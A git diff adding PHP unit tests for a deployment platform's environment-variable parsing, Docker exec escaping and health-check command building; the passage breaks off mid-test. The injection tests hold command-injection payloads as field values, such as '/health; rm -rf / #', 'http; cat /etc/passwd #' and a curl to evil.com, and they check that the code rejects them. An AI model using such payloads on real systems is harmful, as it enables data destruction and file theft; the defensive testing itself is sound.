+uses(Tests\TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser'); /* |-------------------------------------------------------------------------- diff --git a/tests/Unit/ApplicationDeploymentTypeTest.php b/tests/Unit/ApplicationDeploymentTypeTest.php new file mode 100644 index 000000000..d240181f1 --- /dev/null +++ b/tests/Unit/ApplicationDeploymentTypeTest.php @@ -0,0 +1,11 @@ +private_key_id = 0; + $application->source = null; + + expect($application->deploymentType())->toBe('deploy_key'); +}); diff --git a/tests/Unit/EnvironmentVariableFillableTest.php b/tests/Unit/EnvironmentVariableFillableTest.php new file mode 100644 index 000000000..8c5f68b21 --- /dev/null +++ b/tests/Unit/EnvironmentVariableFillableTest.php @@ -0,0 +1,72 @@ +getFillable(); + + // Core identification + expect($fillable)->toContain('key') + ->toContain('value') + ->toContain('comment'); + + // Polymorphic relationship + expect($fillable)->toContain('resourceable_type') + ->toContain('resourceable_id'); + + // Boolean flags — all used in create/firstOrCreate/updateOrCreate calls + expect($fillable)->toContain('is_preview') + ->toContain('is_multiline') + ->toContain('is_literal') + ->toContain('is_runtime') + ->toContain('is_buildtime') + ->toContain('is_shown_once') + ->toContain('is_shared') + ->toContain('is_required'); + + // Metadata + expect($fillable)->toContain('version') + ->toContain('order'); +}); + +test('is_required can be mass assigned', function () { + $model = new EnvironmentVariable; + $model->fill(['is_required' => true]); + + expect($model->is_required)->toBeTrue(); +}); + +test('all boolean flags can be mass assigned', function () { + $booleanFlags = [ + 'is_preview', + 'is_multiline', + 'is_literal', + 'is_runtime', + 'is_buildtime', + 'is_shown_once', + 'is_required', + ]; + + $model = new EnvironmentVariable; + $model->fill(array_fill_keys($booleanFlags, true)); + + foreach ($booleanFlags as $flag) { + expect($model->$flag)->toBeTrue("Expected {$flag} to be mass assignable and set to true"); + } + + // is_shared has a computed getter derived from the value field, + // so verify it's fillable via the underlying attributes instead + $model2 = new EnvironmentVariable; + $model2->fill(['is_shared' => true]); + expect($model2->getAttributes())->toHaveKey('is_shared'); +}); + +test('non-fillable fields are rejected by mass assignment', function () { + $model = new EnvironmentVariable; + $model->fill(['id' => 999, 'uuid' => 'injected', 'created_at' => 'injected']); + + expect($model->id)->toBeNull() + ->and($model->uuid)->toBeNull() + ->and($model->created_at)->toBeNull(); +}); diff --git a/tests/Unit/EnvironmentVariableMagicVariableTest.php b/tests/Unit/EnvironmentVariableMagicVariableTest.php new file mode 100644 index 000000000..ae85ba45f --- /dev/null +++ b/tests/Unit/EnvironmentVariableMagicVariableTest.php @@ -0,0 +1,141 @@ +shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_FQDN_DB'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_URL variables are identified as magic variables', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_URL_API'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_NAME variables are identified as magic variables', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_NAME'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('regular variables are not magic variables', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('DATABASE_URL'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeFalse(); + expect($component->isDisabled)->toBeFalse(); +}); + +test('locked variables are not magic variables unless they start with SERVICE_', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SECRET_KEY'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(true); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeFalse(); + expect($component->isLocked)->toBeTrue(); +}); + +test('SERVICE_FQDN with port suffix is identified as magic variable', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_FQDN_DB_5432'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_URL with port suffix is identified as magic variable', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_URL_API_8080'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); diff --git a/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php new file mode 100644 index 000000000..a52d7dba5 --- /dev/null +++ b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php @@ -0,0 +1,351 @@ +toBe(''); +}); + +test('splitOnOperatorOutsideNested handles empty variable name with default', function () { + $split = splitOnOperatorOutsideNested(':-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('default'); +}); + +test('extractBalancedBraceContent handles double opening brace', function () { + $result = extractBalancedBraceContent('${{VAR}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('{VAR}'); +}); + +test('extractBalancedBraceContent returns null for empty string', function () { + $result = extractBalancedBraceContent('', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just dollar sign', function () { + $result = extractBalancedBraceContent('$', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just opening brace', function () { + $result = extractBalancedBraceContent('{', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just closing brace', function () { + $result = extractBalancedBraceContent('}', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles extra closing brace', function () { + $result = extractBalancedBraceContent('${VAR}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR'); +}); + +test('extractBalancedBraceContent returns null for unclosed with no content', function () { + $result = extractBalancedBraceContent('${', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for deeply unclosed nested braces', function () { + $result = extractBalancedBraceContent('${A:-${B:-${C}', 0); + + assertNull($result); +}); + +test('replaceVariables handles empty braces gracefully', function () { + $result = replaceVariables('${}'); + + expect($result->value())->toBe(''); +}); + +test('replaceVariables handles double braces gracefully', function () { + $result = replaceVariables('${{VAR}}'); + + expect($result->value())->toBe('{VAR}'); +}); + +// ─── Edge Cases with Braces and Special Characters ───────────────────────────── + +test('extractBalancedBraceContent finds consecutive variables', function () { + $str = '${A}${B}'; + + $first = extractBalancedBraceContent($str, 0); + assertNotNull($first); + expect($first['content'])->toBe('A'); + + $second = extractBalancedBraceContent($str, $first['end'] + 1); + assertNotNull($second); + expect($second['content'])->toBe('B'); +}); + +test('splitOnOperatorOutsideNested handles URL with port in default', function () { + $split = splitOnOperatorOutsideNested('URL:-http://host:8080/path'); + + assertNotNull($split); + expect($split['variable'])->toBe('URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('http://host:8080/path'); +}); + +test('splitOnOperatorOutsideNested handles equals sign in default', function () { + $split = splitOnOperatorOutsideNested('VAR:-key=value&foo=bar'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('key=value&foo=bar'); +}); + +test('splitOnOperatorOutsideNested handles dashes in default value', function () { + $split = splitOnOperatorOutsideNested('A:-value-with-dashes'); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('value-with-dashes'); +}); + +test('splitOnOperatorOutsideNested handles question mark in default value', function () { + $split = splitOnOperatorOutsideNested('A:-what?'); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('what?'); +}); + +test('extractBalancedBraceContent handles variable with digits', function () { + $result = extractBalancedBraceContent('${VAR123}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR123'); +}); + +test('extractBalancedBraceContent handles long variable name', function () { + $longName = str_repeat('A', 200); + $result = extractBalancedBraceContent('${'.$longName.'}', 0); + + assertNotNull($result); + expect($result['content'])->toBe($longName); +}); + +test('splitOnOperatorOutsideNested returns null for empty string', function () { + $split = splitOnOperatorOutsideNested(''); + + assertNull($split); +}); + +test('splitOnOperatorOutsideNested handles variable name with underscores', function () { + $split = splitOnOperatorOutsideNested('_MY_VAR_:-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('_MY_VAR_') + ->and($split['default'])->toBe('default'); +}); + +test('extractBalancedBraceContent with startPos beyond string length', function () { + $result = extractBalancedBraceContent('${VAR}', 100); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles brace in middle of text', function () { + $result = extractBalancedBraceContent('prefix ${VAR} suffix', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR'); +}); + +// ─── Deeply Nested Defaults ──────────────────────────────────────────────────── + +test('extractBalancedBraceContent handles four levels of nesting', function () { + $input = '${A:-${B:-${C:-${D}}}}'; + + $result = extractBalancedBraceContent($input, 0); + + assertNotNull($result); + expect($result['content'])->toBe('A:-${B:-${C:-${D}}}'); +}); + +test('splitOnOperatorOutsideNested handles four levels of nesting', function () { + $content = 'A:-${B:-${C:-${D}}}'; + $split = splitOnOperatorOutsideNested($content); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-${C:-${D}}}'); + + // Verify second level + $nested = extractBalancedBraceContent($split['default'], 0); + assertNotNull($nested); + $split2 = splitOnOperatorOutsideNested($nested['content']); + assertNotNull($split2); + expect($split2['variable'])->toBe('B') + ->and($split2['default'])->toBe('${C:-${D}}'); +}); + +test('multiple variables at same depth in default', function () { + $input = '${A:-${B}/${C}/${D}}'; + + $result = extractBalancedBraceContent($input, 0); + assertNotNull($result); + + $split = splitOnOperatorOutsideNested($result['content']); + assertNotNull($split); + expect($split['default'])->toBe('${B}/${C}/${D}'); + + // Verify all three nested variables can be found + $default = $split['default']; + $vars = []; + $pos = 0; + while (($nested = extractBalancedBraceContent($default, $pos)) !== null) { + $vars[] = $nested['content']; + $pos = $nested['end'] + 1; + } + + expect($vars)->toBe(['B', 'C', 'D']); +}); + +test('nested with mixed operators', function () { + $input = '${A:-${B:?required}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:?required}'); + + // Inner variable uses :? operator + $nested = extractBalancedBraceContent($split['default'], 0); + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + + expect($innerSplit['variable'])->toBe('B') + ->and($innerSplit['operator'])->toBe(':?') + ->and($innerSplit['default'])->toBe('required'); +}); + +test('nested variable without default as default', function () { + $input = '${A:-${B}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${B}'); + + $nested = extractBalancedBraceContent($split['default'], 0); + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + + assertNull($innerSplit); + expect($nested['content'])->toBe('B'); +}); + +// ─── Backwards Compatibility ─────────────────────────────────────────────────── + +test('replaceVariables with brace format without dollar sign', function () { + $result = replaceVariables('{MY_VAR}'); + + expect($result->value())->toBe('MY_VAR'); +}); + +test('replaceVariables with truncated brace format', function () { + $result = replaceVariables('{MY_VAR'); + + expect($result->value())->toBe('MY_VAR'); +}); + +test('replaceVariables with plain string returns unchanged', function () { + $result = replaceVariables('plain_value'); + + expect($result->value())->toBe('plain_value'); +}); + +test('replaceVariables preserves full content for variable with default', function () { + $result = replaceVariables('${DB_HOST:-localhost}'); + + expect($result->value())->toBe('DB_HOST:-localhost'); +}); + +test('replaceVariables preserves nested content for variable with nested default', function () { + $result = replaceVariables('${DB_URL:-${SERVICE_URL_PG}/db}'); + + expect($result->value())->toBe('DB_URL:-${SERVICE_URL_PG}/db'); +}); + +test('replaceVariables with brace format containing default falls back gracefully', function () { + $result = replaceVariables('{VAR:-default}'); + + expect($result->value())->toBe('VAR:-default'); +}); + +test('splitOnOperatorOutsideNested colon-dash takes precedence over bare dash', function () { + $split = splitOnOperatorOutsideNested('VAR:-val-ue'); + + assertNotNull($split); + expect($split['operator'])->toBe(':-') + ->and($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('val-ue'); +}); + +test('splitOnOperatorOutsideNested colon-question takes precedence over bare question', function () { + $split = splitOnOperatorOutsideNested('VAR:?error?'); + + assertNotNull($split); + expect($split['operator'])->toBe(':?') + ->and($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('error?'); +}); + +test('full round trip: extract, split, and resolve nested variables', function () { + $input = '${APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health}'; + + // Step 1: Extract outer content + $result = extractBalancedBraceContent($input, 0); + assertNotNull($result); + expect($result['content'])->toBe('APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health'); + + // Step 2: Split on outer operator + $split = splitOnOperatorOutsideNested($result['content']); + assertNotNull($split); + expect($split['variable'])->toBe('APP_URL') + ->and($split['default'])->toBe('${SERVICE_URL_APP}/v${API_VERSION:-2}/health'); + + // Step 3: Find all nested variables in default + $default = $split['default']; + $nestedVars = []; + $pos = 0; + while (($nested = extractBalancedBraceContent($default, $pos)) !== null) { + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + $nestedVars[] = [ + 'name' => $innerSplit !== null ? $innerSplit['variable'] : $nested['content'], + 'default' => $innerSplit !== null ? $innerSplit['default'] : null, + ]; + $pos = $nested['end'] + 1; + } + + expect($nestedVars)->toHaveCount(2) + ->and($nestedVars[0]['name'])->toBe('SERVICE_URL_APP') + ->and($nestedVars[0]['default'])->toBeNull() + ->and($nestedVars[1]['name'])->toBe('API_VERSION') + ->and($nestedVars[1]['default'])->toBe('2'); +}); diff --git a/tests/Unit/ExecuteInDockerEscapingTest.php b/tests/Unit/ExecuteInDockerEscapingTest.php new file mode 100644 index 000000000..14777ca1c --- /dev/null +++ b/tests/Unit/ExecuteInDockerEscapingTest.php @@ -0,0 +1,35 @@ +toBe("docker exec test-container bash -c 'ls -la /app'"); +}); + +it('escapes single quotes in command', function () { + $result = executeInDocker('test-container', "echo 'hello world'"); + + expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''"); +}); + +it('prevents command injection via single quote breakout', function () { + $malicious = "cd /dir && docker compose build'; id; #"; + $result = executeInDocker('test-container', $malicious); + + // The single quote in the malicious command should be escaped so it cannot break out of bash -c + // The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped + expect($result)->not->toContain("build'; id;"); + expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'"); +}); + +it('handles empty command', function () { + $result = executeInDocker('test-container', ''); + + expect($result)->toBe("docker exec test-container bash -c ''"); +}); + +it('handles command with multiple single quotes', function () { + $result = executeInDocker('test-container', "echo 'a' && echo 'b'"); + + expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''"); +}); diff --git a/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php new file mode 100644 index 000000000..8d8caacaf --- /dev/null +++ b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php @@ -0,0 +1,147 @@ +toHaveCount(2) + ->and($result[0]['key'])->toBe('NODE_ENV') + ->and($result[0]['value'])->toBe('production') + ->and($result[0]['service_name'])->toBe('app') + ->and($result[1]['key'])->toBe('PORT') + ->and($result[1]['value'])->toBe('3000') + ->and($result[1]['service_name'])->toBe('app'); +}); + +test('extracts environment variables with inline comments', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - NODE_ENV=production # Production environment + - DEBUG=false # Disable debug mode +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['comment'])->toBe('Production environment') + ->and($result[1]['comment'])->toBe('Disable debug mode'); +}); + +test('handles multiple services', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - APP_ENV=prod + db: + environment: + - POSTGRES_DB=mydb +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('APP_ENV') + ->and($result[0]['service_name'])->toBe('app') + ->and($result[1]['key'])->toBe('POSTGRES_DB') + ->and($result[1]['service_name'])->toBe('db'); +}); + +test('handles associative array format', function () { + $yaml = <<<'YAML' +services: + app: + environment: + NODE_ENV: production + PORT: 3000 +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('NODE_ENV') + ->and($result[0]['value'])->toBe('production') + ->and($result[1]['key'])->toBe('PORT') + ->and($result[1]['value'])->toBe(3000); // Integer values stay as integers from YAML +}); + +test('handles environment variables without values', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - API_KEY + - DEBUG=false +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('API_KEY') + ->and($result[0]['value'])->toBe('') // Variables without values get empty string, not null + ->and($result[1]['key'])->toBe('DEBUG') + ->and($result[1]['value'])->toBe('false'); +}); + +test('returns empty collection for malformed YAML', function () { + $yaml = 'invalid: yaml: content::: [[['; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection for empty compose file', function () { + $result = extractHardcodedEnvironmentVariables(''); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection when no services defined', function () { + $yaml = <<<'YAML' +version: '3.8' +networks: + default: +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection when service has no environment section', function () { + $yaml = <<<'YAML' +services: + app: + image: nginx +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('handles mixed associative and array format', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - NODE_ENV=production + PORT: 3000 +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + // Mixed format is invalid YAML and returns empty collection + expect($result)->toBeEmpty(); +}); diff --git a/tests/Unit/ExtractYamlEnvironmentCommentsTest.php b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php new file mode 100644 index 000000000..4300b3abf --- /dev/null +++ b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php @@ -0,0 +1,334 @@ +toBe([]); +}); + +test('extractYamlEnvironmentComments extracts inline comments from map format', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + FOO: bar # This is a comment + BAZ: qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is a comment', + ]); +}); + +test('extractYamlEnvironmentComments extracts inline comments from array format', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - FOO=bar # This is a comment + - BAZ=qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is a comment', + ]); +}); + +test('extractYamlEnvironmentComments handles quoted values containing hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + COLOR: "#FF0000" # hex color code + DB_URL: "postgres://user:pass#123@localhost" # database URL + PLAIN: value # no quotes +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'COLOR' => 'hex color code', + 'DB_URL' => 'database URL', + 'PLAIN' => 'no quotes', + ]); +}); + +test('extractYamlEnvironmentComments handles single quoted values containing hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + PASSWORD: 'secret#123' # my password +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'PASSWORD' => 'my password', + ]); +}); + +test('extractYamlEnvironmentComments skips full-line comments', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + # This is a full line comment + FOO: bar # This is an inline comment + # Another full line comment + BAZ: qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is an inline comment', + ]); +}); + +test('extractYamlEnvironmentComments handles multiple services', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + WEB_PORT: 8080 # web server port + db: + image: postgres:15 + environment: + POSTGRES_USER: admin # database admin user + POSTGRES_PASSWORD: secret +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'WEB_PORT' => 'web server port', + 'POSTGRES_USER' => 'database admin user', + ]); +}); + +test('extractYamlEnvironmentComments handles variables without values', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - DEBUG # enable debug mode + - VERBOSE +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'DEBUG' => 'enable debug mode', + ]); +}); + +test('extractYamlEnvironmentComments handles array format with colons', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - DATABASE_URL: postgres://localhost # connection string +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'DATABASE_URL' => 'connection string', + ]); +}); + +test('extractYamlEnvironmentComments does not treat hash inside unquoted values as comment start', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + API_KEY: abc#def + OTHER: xyz # this is a comment +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // abc#def has no space before #, so it's not treated as a comment + expect($result)->toBe([ + 'OTHER' => 'this is a comment', + ]); +}); + +test('extractYamlEnvironmentComments handles empty environment section', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + ports: + - "80:80" +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments handles environment inline format (not supported)', function () { + // Inline format like environment: { FOO: bar } is not supported for comment extraction + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: { FOO: bar } +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // No comments extracted from inline format + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments handles complex real-world docker-compose', function () { + $yaml = <<<'YAML' +version: "3.8" + +services: + app: + image: myapp:latest + environment: + NODE_ENV: production # Set to development for local + DATABASE_URL: "postgres://user:pass@db:5432/mydb" # Main database + REDIS_URL: "redis://cache:6379" + API_SECRET: "${API_SECRET}" # From .env file + LOG_LEVEL: debug # Options: debug, info, warn, error + ports: + - "3000:3000" + + db: + image: postgres:15 + environment: + POSTGRES_USER: user # Database admin username + POSTGRES_PASSWORD: "${DB_PASSWORD}" + POSTGRES_DB: mydb + + cache: + image: redis:7 + environment: + - REDIS_MAXMEMORY=256mb # Memory limit for cache +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'NODE_ENV' => 'Set to development for local', + 'DATABASE_URL' => 'Main database', + 'API_SECRET' => 'From .env file', + 'LOG_LEVEL' => 'Options: debug, info, warn, error', + 'POSTGRES_USER' => 'Database admin username', + 'REDIS_MAXMEMORY' => 'Memory limit for cache', + ]); +}); + +test('extractYamlEnvironmentComments handles comment with multiple hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + FOO: bar # comment # with # hashes +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'comment # with # hashes', + ]); +}); + +test('extractYamlEnvironmentComments handles variables with empty comments', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + FOO: bar # + BAZ: qux # +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // Empty comments should not be included + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments properly exits environment block on new section', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + FOO: bar # env comment + ports: + - "80:80" # port comment should not be captured + volumes: + - ./data:/data # volume comment should not be captured +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // Only environment variables should have comments extracted + expect($result)->toBe([ + 'FOO' => 'env comment', + ]); +}); + +test('extractYamlEnvironmentComments handles SERVICE_ variables', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + SERVICE_FQDN_WEB: /api # Path for the web service + SERVICE_URL_WEB: # URL will be generated + NORMAL_VAR: value # Regular variable +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'SERVICE_FQDN_WEB' => 'Path for the web service', + 'SERVICE_URL_WEB' => 'URL will be generated', + 'NORMAL_VAR' => 'Regular variable', + ]); +}); diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php new file mode 100644 index 000000000..9bfc046b0 --- /dev/null +++ b/tests/Unit/HealthCheckCommandInjectionTest.php @@ -0,0 +1,270 @@ + 'localhost; id > /tmp/pwned #', + ]); + + // Should fall back to 'localhost' because input contains shell metacharacters + expect($result)->not->toContain('; id') + ->and($result)->not->toContain('/tmp/pwned') + ->and($result)->toContain('localhost'); +}); + +it('sanitizes health_check_method to prevent command injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_method' => 'GET; curl http://evil.com #', + ]); + + expect($result)->not->toContain('evil.com') + ->and($result)->not->toContain('; curl'); +}); + +it('sanitizes health_check_path to prevent command injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_path' => '/health; rm -rf / #', + ]); + + expect($result)->not->toContain('rm -rf') + ->and($result)->not->toContain('; rm'); +}); + +it('sanitizes health_check_scheme to prevent command injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_scheme' => 'http; cat /etc/passwd #', + ]); + + expect($result)->not->toContain('/etc/passwd') + ->and($result)->not->toContain('; cat'); +}); + +it('casts health_check_port to integer to prevent injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_port' => '8080; whoami', + ]); + + // (int) cast on non-numeric after digits yields 8080 + expect($result)->not->toContain('whoami') + ->and($result)->toContain('8080'); +}); + +it('generates valid healthcheck command with safe inputs', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_method' => 'GET', + 'health_check_scheme' => 'http', + 'health_check_host' => 'localhost', + 'health_check_port' => '8080', + 'health_check_path' => '/health', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->toContain('http://localhost:8080/health') + ->and($result)->toContain('wget -q -O-'); +}); + +it('uses escapeshellarg on the constructed URL', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_host' => 'my-app.local', + 'health_check_path' => '/api/health', + ]); + + // escapeshellarg wraps in single quotes + expect($result)->toContain("'http://my-app.local:80/api/health'"); +}); + +it('validates health_check_host rejects shell metacharacters via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_host' => 'localhost; id #'], + ['health_check_host' => $rules['health_check_host']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_method rejects invalid methods via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_method' => 'GET; curl evil.com'], + ['health_check_method' => $rules['health_check_method']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_scheme rejects invalid schemes via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_scheme' => 'http; whoami'], + ['health_check_scheme' => $rules['health_check_scheme']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_path rejects shell metacharacters via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_path' => '/health; rm -rf /'], + ['health_check_path' => $rules['health_check_path']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_port rejects non-numeric values via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_port' => '8080; whoami'], + ['health_check_port' => $rules['health_check_port']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('allows valid health check values via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + [ + 'health_check_host' => 